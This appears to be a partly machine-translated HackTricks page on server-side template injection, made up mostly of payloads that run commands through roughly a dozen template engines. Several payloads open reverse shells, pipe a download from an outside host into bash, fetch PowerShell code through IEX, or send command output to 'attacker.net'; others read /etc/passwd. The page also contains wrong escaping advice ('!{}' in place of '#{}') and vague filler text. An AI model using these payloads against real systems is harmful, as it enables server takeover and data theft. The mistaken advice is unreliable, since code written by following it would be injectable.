Jade is a popular template engine for NodeJS that allows you to generate HTML dynamically. It is known for its simplicity and ease of use. However, it is important to be aware of the security risks associated with using Jade, particularly when it comes to Server-Side Template Injection (SSTI) vulnerabilities.
Server-Side Template Injection (SSTI)
Server-Side Template Injection occurs when user-supplied data is embedded directly into a template, allowing an attacker to execute arbitrary code on the server. This can lead to serious security breaches, such as unauthorized access to sensitive data or the execution of malicious commands.
Identifying SSTI Vulnerabilities
To identify SSTI vulnerabilities in Jade templates, you can look for the following indicators:
- Untrusted user input: Any user-supplied data that is directly embedded into the template without proper sanitization is a potential vulnerability.
- Template tags: Look for template tags that allow code execution, such as
#{}
or!{}
. These tags should only be used with trusted data. - Template expressions: Check for template expressions that evaluate user-supplied data, such as
#{userInput}
. If the data is not properly sanitized, it can lead to SSTI vulnerabilities.
Exploiting SSTI Vulnerabilities
If you discover an SSTI vulnerability in a Jade template, an attacker can exploit it by injecting malicious code into the template. This can be done by manipulating user-supplied data to execute arbitrary commands or access sensitive information.
Preventing SSTI Vulnerabilities
To prevent SSTI vulnerabilities in Jade templates, follow these best practices:
- Input validation and sanitization: Always validate and sanitize user input before embedding it into a template. Use proper input validation techniques to ensure that only trusted data is used.
- Context-aware escaping: Use context-aware escaping techniques to prevent code injection. For example, use the
!{}
syntax instead of#{}
when embedding user-supplied data. - Template whitelisting: Maintain a whitelist of allowed template tags and expressions. Only allow trusted tags and expressions to be used in the templates.
- Regular updates: Keep your Jade template engine up to date with the latest security patches and updates to mitigate any known vulnerabilities.
By following these best practices, you can minimize the risk of SSTI vulnerabilities in your Jade templates and ensure the security of your NodeJS applications.
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
詳細情報
- https://portswigger.net/research/server-side-template-injectionのJadeセクションで詳細を確認できます。
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepenを参照してください。
patTemplate (PHP)
patTemplateは、非コンパイルのPHPテンプレートエンジンで、XMLタグを使用してドキュメントを異なる部分に分割します。
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Handlebars (NodeJS)
パストラバーサル(詳細はこちらを参照)。
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
SSTI (Server-Side Template Injection)
概要
SSTI(Server-Side Template Injection)は、ウェブアプリケーションのセキュリティ上の脆弱性であり、テンプレートエンジンが不適切に使用されている場合に発生します。攻撃者は、テンプレートエンジンの機能を悪用して、任意のコードを実行することができます。
エラー
以下のエラーメッセージが表示されます。
\= エラー
式の評価
以下の式が評価されます。
${7\*7} = ${7\*7}
何も表示されない
何も表示されません。
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
詳細情報
JsRender (NodeJS)
テンプレート | 説明 |
---|---|
評価して出力をレンダリングする | |
評価してHTMLエンコードされた出力をレンダリングする | |
コメント | |
そして | コードを許可する(デフォルトでは無効) |
- = 49
クライアントサイド
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
サーバーサイド
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
詳細情報
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
サーバーサイドレンダリングの例
var pugjs = require('pug');
home = pugjs.render(injected_page)
詳細情報
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = 出力なし
- #{7*7} = #{7*7}
- {{console.log(1)}} = エラー
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
詳細情報
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = エラー
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
詳細情報
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
詳細情報
Python
以下のページをチェックして、Pythonでのサンドボックスをバイパスする任意のコマンド実行のトリックを学びましょう:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = エラー
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
詳細情報
Jinja2(Python)
Jinja2はPythonのフル機能を備えたテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境、広く使用されているBSDライセンスがあります。
{{7*7}} = エラー
${7*7} = ${7*7}
{{foobar}} 何もありません
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - テンプレート形式
Jinja2は、Pythonのテンプレートエンジンであり、Webアプリケーションの開発に広く使用されています。Jinja2テンプレートは、HTMLやXMLなどのマークアップ言語と組み合わせて使用され、動的なコンテンツを生成するために使用されます。
Jinja2テンプレートは、特定の構文を使用して変数、制御構造、フィルタ、マクロなどを表現します。以下に、Jinja2テンプレートの基本的な構文を示します。
- 変数の表示:
{{ variable }}
- 制御構造(if文、forループなど):
{% control_structure %}
- フィルタの適用:
{{ variable | filter }}
- マクロの定義:
{% macro macro_name() %} ... {% endmacro %}
Jinja2テンプレートは、サーバーサイドでレンダリングされるため、サーバーサイドテンプレートインジェクション(SSTI)攻撃の潜在的な脆弱性となり得ます。SSTI攻撃では、ユーザーが入力したデータがテンプレートエンジンに直接渡され、実行される可能性があります。これにより、攻撃者は任意のコードを実行し、システムに深刻な影響を与えることができます。
SSTI攻撃を防ぐためには、以下の対策を講じる必要があります。
- ユーザー入力の検証とエスケープ処理を行う。
- ホワイトリストを使用して、許可されたテンプレート変数や関数のみを使用する。
- セキュリティパッチやアップデートを定期的に適用する。
以上がJinja2テンプレートの基本的な構文とSSTI攻撃への対策です。安全なWebアプリケーションの開発においては、テンプレートの適切な使用とセキュリティ対策の実施が重要です。
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
このテクニックは、Jinja2テンプレートエンジンの脆弱性を利用して、`__builtins__`に依存しないリモートコード実行(RCE)を実現します。
## 概要
Jinja2は、Pythonのテンプレートエンジンであり、多くのWebアプリケーションで使用されています。このテンプレートエンジンは、テンプレート内でPythonコードを実行するための機能を提供します。しかし、この機能は悪意のあるユーザーによって悪用される可能性があります。
このテクニックでは、Jinja2テンプレートエンジンの脆弱性を利用して、`__builtins__`に依存しないRCEを実現します。これにより、攻撃者はリモートサーバー上で任意のコードを実行することができます。
## 脆弱性の詳細
Jinja2テンプレートエンジンは、テンプレート内でPythonコードを実行するための`{{ ... }}`タグを提供しています。通常、このタグはテンプレート内の変数を表示するために使用されますが、悪意のあるユーザーはこれを利用して任意のPythonコードを実行することができます。
この脆弱性を悪用するためには、以下の手順を実行する必要があります。
1. 攻撃者は、脆弱なアプリケーションに対してJinja2テンプレートを送信します。
2. テンプレート内に任意のPythonコードを埋め込みます。
3. 攻撃者は、テンプレートを実行するように脆弱なアプリケーションに要求します。
4. アプリケーションは、テンプレート内のPythonコードを実行し、攻撃者が指定したコードを実行します。
この脆弱性は、`__builtins__`に依存しないため、一部のセキュリティ対策(例:`__builtins__`の無効化)が有効ではありません。したがって、このテクニックは非常に危険であり、アプリケーションのセキュリティに重大な脅威をもたらす可能性があります。
## 対策方法
この脆弱性を防ぐためには、以下の対策を実施することが重要です。
- Jinja2の最新バージョンを使用する。
- ユーザー入力を適切に検証し、信頼できるデータのみをテンプレートに渡す。
- テンプレート内でのPythonコードの実行を制限する。
- セキュリティテスト(ペネトレーションテスト)を定期的に実施し、脆弱性を特定して修正する。
これらの対策を実施することで、Jinja2テンプレートエンジンのRCEによる攻撃を防ぐことができます。
<div class="text-center">
<img src="https://podalirius.net/images/jinja2-logo.png" alt="Jinja2 Logo">
</div>
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinjaの悪用方法の詳細:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Razor (.Net)
@(2+2) <= 成功
@() <= 成功
@("{{code}}") <= 成功
@ <= 成功
@{} <= エラー!
@{ <= エラー!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NETのSystem.Diagnostics.Process.Start
メソッドは、サーバー上で任意のプロセスを起動し、ウェブシェルを作成するために使用できます。脆弱なウェブアプリの例は、https://github.com/cnotin/RazorVulnerableAppで見つけることができます。
詳細情報
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nothing<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
詳細情報
Mojolicious(Perl)
Perlであっても、RubyのERBのようなタグを使用します。
<%= 7*7 %> = 49
<%= foobar %> = エラー
<%= perl code %>
<% perl code %>
GOにおけるSSTI
バックエンドで使用されているテンプレートエンジンがGoであることを確認する方法は、次のペイロードを使用することができます:
{{ . }}
= テンプレートに渡される入力データのデータ構造- 渡されたデータが、例えば属性Passwordを含むオブジェクトである場合、前述のペイロードはそれを漏洩させますが、
{{ .Password }}
のようにもできます {{printf "%s" "ssti" }}
= 応答に文字列sstiを出力するはずです{{html "ssti"}}
,{{js "ssti"}}
= これらは、末尾の単語"js"や"html"なしで文字列"ssti"を出力するいくつかの他のペイロードです。エンジンのここでさらにキーワードを参照できます。
XSSの悪用
サーバーがtext/templateパッケージを使用している場合、XSSは単に入力としてペイロードを提供することで非常に簡単に達成できます。ただし、html/templateの場合は、応答をHTMLエンコードします:{{"<script>alert(1)</script>"}}
--> <script>alert(1)</script>
ただし、Goではテンプレートを定義してから後で呼び出すことができます。ペイロードは次のようになります:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
RCEの悪用
html/templateモジュールのドキュメントはこちらで見つけることができ、text/templateモジュールのドキュメントはこちらで見つけることができます。そして、はい、それらはかなり異なります。例えば、text/templateでは、「call」値を使用して直接任意の公開関数を呼び出すことができますが、html/templateではそうではありません。
SSTIを介してGoでRCEを見つけたい場合、テンプレートに渡されたオブジェクトに{{ . }}
でアクセスできるようになるだけでなく、オブジェクトのメソッドを呼び出すこともできます。したがって、渡されたオブジェクトには、指定されたコマンドを実行するSystemというメソッドがあると想像してみてください。それを次のように悪用することができます:{{ .System "ls" }}
したがって、おそらくソースコードが必要になるでしょう。そのようなものの潜在的なソースコードは次のようになります:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
詳細情報
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
その他の攻撃手法
他の攻撃手法については、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injectionをチェックしてください。また、興味深いタグ情報はhttps://github.com/DiogoMRSilva/websitesVulnerableToSSTIで見つけることができます。
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
関連するヘルプ
役立つと思われる場合は、以下を読んでください:
ツール
{% embed url="https://github.com/epinna/tplmap" %}
ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
練習と参考
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Family、私たちの独占的なNFTのコレクションを発見してください。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo と hacktricks-cloud repo にPRを提出してください。